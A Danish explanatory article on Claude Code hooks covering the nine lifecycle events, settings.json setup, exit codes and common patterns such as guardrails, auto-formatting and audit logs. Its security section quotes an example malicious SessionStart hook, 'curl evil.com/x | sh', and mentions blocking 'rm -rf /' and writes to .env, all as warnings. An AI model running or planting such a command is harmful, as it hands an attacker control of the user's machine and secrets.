Hvad er hooks i Claude Code, og hvad kan man bruge dem til?
Et hook er kode, der kører, uanset hvad modellen mener om det. Ni lifecycle-events, sat op i settings.json, kørende med de samme rettigheder som dig selv.
Et hook i Claude Code er en shell-kommando, du selv skriver, og som kører automatisk på et bestemt punkt i en session. Der er 9 lifecycle-events: PreToolUse, PostToolUse, UserPromptSubmit, SessionStart, SessionEnd, Stop, SubagentStop, Notification og PreCompact. Du sætter dem op i settings.json, og de kører med de samme rettigheder som dig selv.
Modellen er hjernen. Hooks er reflekserne.
Et hook er hverken en prompt eller et tool. Det er kode, der kører, fordi eventet indtraf, ikke fordi modellen valgte at kalde det.
Forskellen er hele pointen. En prompt beder Claude om at opføre sig på en bestemt måde, og så kan man håbe. Et hook beder ikke om noget. Sker eventet, kører kommandoen, og modellen har ingen stemme i sagen. Alt det, du ikke har råd til at overlade til modellens dømmekraft, hører til i et hook.
Anthropics egen dokumentation beskriver hooks som måden at lave »prompt-based suggestions« om til »deterministic code execution«. I praksis vil det sige, at linting, formatering, logning og blokering af farlige kommandoer holder op med at være noget, du håber modellen husker, og bliver noget, systemet garanterer.
De 9 lifecycle-events
Claude Code stiller 9 navngivne events til rådighed. Hvert af dem svarer til et øjeblik i sessionen, hvor du kan hægte en shell-kommando på.
- PreToolUse kører før ethvert tool call. Den kan godkende kaldet, blokere det eller skrive om på konteksten. Det er det eneste hook, der kan stoppe Claude, før den handler.
- PostToolUse kører, når et tool call er lykkedes, og får både input og svar med. God til at formatere den fil, Claude lige har rettet, eller til at skrive ned, hvad der skete.
- UserPromptSubmit rammer, når du sender en prompt, før Claude ser den. Det, kommandoen skriver til stdout, bliver lagt ind i Claudes kontekst. Sådan får hold tvunget projektreglerne, datoen eller miljøets tilstand ind i hver eneste tur.
- SessionStart kører, når en session starter eller genoptages, og lægger på samme måde sit stdout ind i konteksten. Typisk brug: seneste commits, åbne issues eller hvilken branch man står på, så modellen begynder oplyst.
- SessionEnd kører, når sessionen lukker. Oprydning, sidste log, arkivering af transskriptet.
- Stop kører, når Claude er færdig med at svare. Du kan blokere stoppet og sende den tilbage i arbejde, hvis et tjek fejler: testene er ikke kørt, linteren er ikke ren.
- SubagentStop kører, når en subagent, der er startet via Task-toolet, bliver færdig. Samme kontrol som Stop, bare afgrænset til subagenter.
- Notification kører, når Claude sender en systemnotifikation, for eksempel at den venter på svar, eller at en lang opgave er færdig. Det er her, mange lægger beskeden over i Slack, Discord eller deres eget webhook i stedet for maskinens egen notifikation.
- PreCompact kører, før Claude komprimerer sit context window. En matcher skelner mellem automatisk og manuel komprimering. Nyttigt, hvis du vil have hele transskriptet gemt, inden det bliver skrevet sammen.
Eventene har tre forskellige takter. Nogle udløses én gang pr. session (SessionStart, SessionEnd), nogle én gang pr. tur (UserPromptSubmit, Stop), og to af dem ved hvert eneste tool call (PreToolUse, PostToolUse). De sidste tre venter på hver deres anledning.
Sådan sætter man dem op
Hooks bor i JSON, ikke i kode, Claude skriver. De defineres i settings.json, enten på brugerniveau (~/.claude/settings.json) eller på projektniveau (.claude/settings.json).
Formen er den samme hver gang. Du navngiver eventet, tilføjer eventuelt en matcher, der afgrænser det til bestemte tools (Bash, Edit, Write), og angiver en shell-kommando. Når eventet så udløses og matcheren passer, sender Claude Code data om eventet som JSON ind på kommandoens stdin og venter på, at den bliver færdig.
Et lille PreToolUse-hook, der blokerer alt med rm -rf, er nogle få linjer JSON, der peger på et shell-script. Scriptet læser stdin, leder efter mønstret og afslutter med exit-kode 2. Det er hele mekanikken. Exit-kode 0 betyder fortsæt. Exit-kode 2 betyder blokér, og det, scriptet skriver til stderr, går tilbage til Claude som begrundelsen. Alle andre koder end nul bliver logget som en fejl, der ikke stopper noget.
Indstillinger på projektniveau følger med repoet. Dermed bliver hooks en del af, hvordan man arbejder i den kodebase, ikke bare noget den enkelte udvikler har sat op på sin egen maskine. Man kloner repoet, og hookene er der.
Det, folk rent faktisk bygger
Fire mønstre dækker det meste af det, hold sætter i drift. De følger eventene tæt.
Værn mod ulykker. PreToolUse-hooks, der kigger hver eneste Bash-kommando efter i sømmene, før den kører. Blokér rm -rf /, blokér skrivninger til .env, blokér ethvert kald, der rører en sti uden for projektet. Hooket ser hele kommandostrengen, pipes og subshells og det hele, og derfor fanger det mere end en tilladelsesliste over Claudes hensigter.
Automatisk formatering. PostToolUse-hooks, der kører Prettier, Black, gofmt eller rustfmt på den fil, Claude lige har rørt. Modellen skal aldrig huske at formatere. Systemet gør det ved hver redigering, og kodestil holder op med at være et prompt-problem.
Revisionsspor. PostToolUse- og Stop-hooks, der skriver hvert tool call, hver prompt og hver færdiggørelse ned i en struktureret log. I reguleret arbejde er det forskellen på »vi brugte AI« og »her står præcis, hvad AI'en gjorde, hvornår, og hvad den fik ind«. MCP-artiklen her i biblioteket handler netop om, hvorfor det spor bliver vigtigt, når agenter rører rigtige forretningsdata.
Kontekst, der lægger sig selv ind. SessionStart- og UserPromptSubmit-hooks, der skubber projektets regler, dagens dato, de seneste commits eller de åbne issues ind i Claudes kontekst. Alt det, du opdager, du sidder og indsætter øverst i hver session, hører til i et hook i stedet.
Et femte mønster er ved at brede sig hos hold med lange agent-sessioner: Stop-hooks, der holder porten. Fejler testene, blokerer hooket stoppet og fortæller Claude, hvad der stadig er i stykker. Modellen kan ikke erklære sig færdig, før det deterministiske tjek er enigt.
Sikkerhedsmodellen: et hook er dig
Et hook er en shell-kommando, der kører på din maskine, under din brugerkonto, med alt hvad din shell kan nå.
Anthropics dokumentation siger det lige ud: hooks »execute arbitrary shell commands on your system automatically« med »the full permissions of your user account«. Det vil sige dit filsystem, dine miljøvariabler med hver eneste API-nøgle og token, din SSH-agent, dine cloud-CLI'er. Kan din shell det, kan et hook det.
Det betyder mest for SessionStart og for hooks på projektniveau. Et ondsindet repo med en .claude/settings.json, der kører curl evil.com/x | sh ved SessionStart, ejer din maskine i det sekund, du åbner projektet i Claude Code. Anthropic skriver det selv i dokumentationen: læs hook-scripts, før du stoler på en projektmappe.
To ting er værd at holde fast i. Behandl .claude/settings.json som du behandler en Makefile eller et postinstall-script i package.json, altså læs den, før du kører den. Og regn ikke med hooks som agentens sikkerhedslag. De er værn, ikke en sandkasse. En velskrevet prompt injection kan stadig tale Claude til at gøre noget, hookene ikke havde forudset. Hooks reducerer udsvingene. De fjerner dem ikke.
Hvad der ændrer sig
Afstanden mellem Claude Code som en kvik assistent og Claude Code som et produktionsværktøj er for det meste et hook-hul.
Uden hooks er hver session en ny forhandling med modellen om, hvordan den skal opføre sig i din kodebase. Med hooks ligger reglerne i selve løkken: formateringen sker uanset hvad, de farlige kommandoer kommer ikke igennem, sessionen åbner med projektets kontekst allerede inde, og hver handling står i loggen.
Det interessante er, hvad det åbner for enkeltmandsvirksomheder og små hold. Man behøver ikke et platformshold for at håndhæve kodegennemgang eller revisionsspor. Man behøver måske 200 linjer JSON og shell fordelt på en håndfuld hooks. Den infrastruktur, der før krævede et CI-system, en policy-server og en logningspipeline, kører nu lokalt, hægtet på din editor-session, sat op én gang.
Hooks er der, hvor Claude Code holder op med at være et chatvindue og bliver et programmerbart agent-runtime. Det er den egentlige funktion.
Protokollen, Claude bruger til at koble sig på eksterne systemer, er beskrevet i artiklen om MCP.
Hvad er et hook i Claude Code, kort fortalt?
Et hook er en shell-kommando, der kører automatisk, når noget bestemt sker i en Claude Code-session: før et tool call, når sessionen starter, og så videre. Man sætter dem op i en settings.json-fil. De kører deterministisk, med dine rettigheder, uanset hvad modellen finder på.
Hvad er de 9 hook-events i Claude Code?
De 9 lifecycle-events er PreToolUse, PostToolUse, UserPromptSubmit, SessionStart, SessionEnd, Stop, SubagentStop, Notification og PreCompact. De udløses hver især på et bestemt tidspunkt: før eller efter et tool call, når du sender en prompt, når en session begynder eller slutter, når Claude er færdig med at svare, når en subagent er færdig, ved notifikationer, og før context windowet komprimeres.
Hvor sætter man hooks op?
I settings.json, enten på brugerniveau (~/.claude/settings.json), som gælder alle dine sessioner, eller på projektniveau (.claude/settings.json), som ligger i repoet. Man angiver eventet, eventuelt en matcher, der afgrænser det til bestemte tools, og en shell-kommando. Claude Code sender så data om eventet som JSON ind på kommandoens stdin.
Er hooks sikre at bruge?
Et hook kører med de fulde rettigheder på din brugerkonto: filsystemet, miljøvariablerne, nøglerne, alt hvad din shell kan nå. De er sikre, når du selv har skrevet dem eller har læst dem igennem. Behandl .claude/settings.json i et fremmed repo som et hvilket som helst andet eksekverbart script, nogen har lagt i det, og læs hook-koden, før du åbner projektet i Claude Code.
Hvad er forskellen på et hook og en MCP-server?
En MCP-server giver Claude nye evner gennem en fælles protokol. Et hook hægter kode på faste punkter i sessionen. MCP udvider, hvad Claude kan. Hooks styrer, hvad Claude gør. De løser hver sit problem og bruges typisk sammen: MCP til forbindelserne, hooks til kontrollen.